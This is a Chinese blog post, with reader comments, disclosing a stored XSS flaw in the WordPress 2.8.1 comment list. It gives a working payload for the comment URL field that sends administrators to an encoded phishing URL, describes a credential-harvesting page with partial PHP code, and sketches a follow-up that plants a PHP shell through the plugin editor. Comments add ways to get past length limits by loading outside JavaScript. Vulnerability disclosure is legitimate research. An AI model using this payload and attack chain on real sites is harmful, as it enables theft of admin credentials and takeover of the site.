wordpress281评论显示xss漏洞

wordpress281评论显示xss漏洞

by kxlzx inbreak.net

 

ps:感谢鬼仔’blogXEYE’s blog协助测试。

实际上是个XSS漏洞。

 

POC

XML/HTML代码
  1. 在评论的网址一栏,填写   
  2.   
  3. http://blog.sohu.com/fh8e3333211134333/f8e9wjfidsj3332dfs’ onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,112);   

 这段代码仅供测试,是不能直接用的。

如果你拿我的shellcode去打别人的站,那密码就归我了,来之不拒啊。

 

管理员审核时,只要鼠标从url上路过,就会跳转到http://www.inbreak.net/a.php

这里是个假的登录页面,钓鱼用。

1.jpg

管理员登录后,我们就能记录密码。

2.jpg

对于整个流程说明:

1,发评论让管理员对你的url有兴趣,然后等管理员上钩。

2,管理员在后台把鼠标移动到你的url上。

3,跳转到a.php,先获取referer

4,输入密码后,提交到kxlzxtest/testxss/wp.php

5refereruserpass保存为"域名.txt"

6,输出一段JS,跳转到referer地址去。

 

a.php代码:

PHP代码
  1. <?php   
  2.   
  3. $website = $_SERVER[‘HTTP_REFERER’];   
  4.   
  5. $website=strtolower($website);   
  6.   
  7. $website=substr($website,7);   
  8.   
  9. $website=substr($website,0,strpos($website,‘/’));   
  10.   
  11.     
  12.   
  13. //这个页面是用来冒充登录页面的,危害巨大,代码不方便提供。   
  14.   
  15.     
  16.   
  17. ?>   
  18.   

 wp.php代码

 

嗯。。。本来打算和某个短信平台配合一下,给我发短信提醒的,后来因为懒,就没写。

SHELL代码
  1. <?php       
  2.   
  3. //被lv老子过滤。   
  4.   
  5. ?>      

 这只是个DEMO,实际上,后台有编辑PHP文件的功能,你可以写个AJAX出来,自动获取编辑插件文件的页面中的token字段(名字忘记了,叫做XXonce),之后提交一个PHP shell过去。就不用钓鱼了。

 

漏洞代码:

wordpress\wp-admin\includes\template.php

文件中的$author_url没有对单引号做过滤,最后又使用拼接href=’$author_url’

导致我们可以添加一个这个href的事件函数进去。

PHP代码
  1.   
  2. 2085:$author_url = get_comment_author_url();   
  3.   
  4.  
  5.   
  6. 2182:case ‘author’:   
  7.   
  8.   echo "<td $attributes><strong>"; comment_author(); echo ‘</strong><br />’;   
  9.   
  10.      if ( !emptyempty($author_url) )   
  11.   
  12.          echo "<a title=’$author_url’ href=’$author_url’>$author_url_display</a><br />";   
  13.  

 

 前台的评论展示,也存在这个漏洞

 

修补方式:

不建议自己手工修补,建议把评论暂时关闭,然后等官方补丁就是了。

 

到目前为止,官方可能还不知道。

 

语言不通,好心人看到同时,可以通知下官方。

 

 

发表评论?

21 条评论。

  1. 我是280测试有点问题

  2. 没问题了,测试通过…

  3. 有PHP封装的飞信的,你可以不用和某平台合作,使用飞信就可以发过来了。免费方便

  4. http://blog.sohu.com/fh8e3333211134333/f8e9wjfidsj3332dfs‘ onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,112);

  5. 大哥敢说是你原创么?http://www.darkst.com/bbs/thread-46124-1-1.html
    郁闷勒

  6. 你确定能写个 AJAX?
    我很怀疑,这个字符有限制,你做个钓鱼,估计也就到顶了,要写AJAX,还不行吧。

  7. 麻烦把a.php源码给我一份,我有急用。。谢谢

    我知道这个对会PHP的人很简单,可是我没学过php

  8. 谢谢博主,幸好我订阅了你的blog,我是搜狐安全组的,有空多交流。

  9. 技术贴,纯路过。
    呵呵。

  10. 看到不少人问我要完整版的SHELL。
    感觉没必要。
    其实这个网址,是有长度限制的。
    如果真的要搞站,可以这么写:
    document.write(String.fromCharCode(XXX))
    这里加密部分,可以写一个
    .
    不能再长了,把这段东西加密后,刚刚好。
    http://inbreak.net这段是JS的地址。
    JS里的内容,在本文已经提到了,你可以做个AJAX。
    请求一个token值,然后直接提交SHELL内容到编辑插件的地址。

  11. http://www.neeao.com/pstzine/0x03/txt/PSTZine_0x03_0x04.txt
    突破XSS字符数量限制执行任意JS代码
    这个是luoluo牛的一片文章,当你有字符限制的时候,可以试试。

  12. 回Allen.M:
    谢谢提醒,我回头看下飞信的东西。

  13. 回www.vul.kr:
    见楼上。能包含一个JS,还有啥不能做的?

  14. 回popokcn:
    国家法律规定,不能提供黑客工具,仅作为技术研究。

  15. 回蜘蛛:
    呵呵,QQ加过了,大家多交流。

  16. 回asi97:
    漏洞是自己发现的,文章是自己写的。

  17. 实际攻击中这样太容易曝光吧,跳到一个不同的域名,而且a.php也太显眼了

  18. 回x:
    只提供DEMO,不提供黑客工具。

发表评论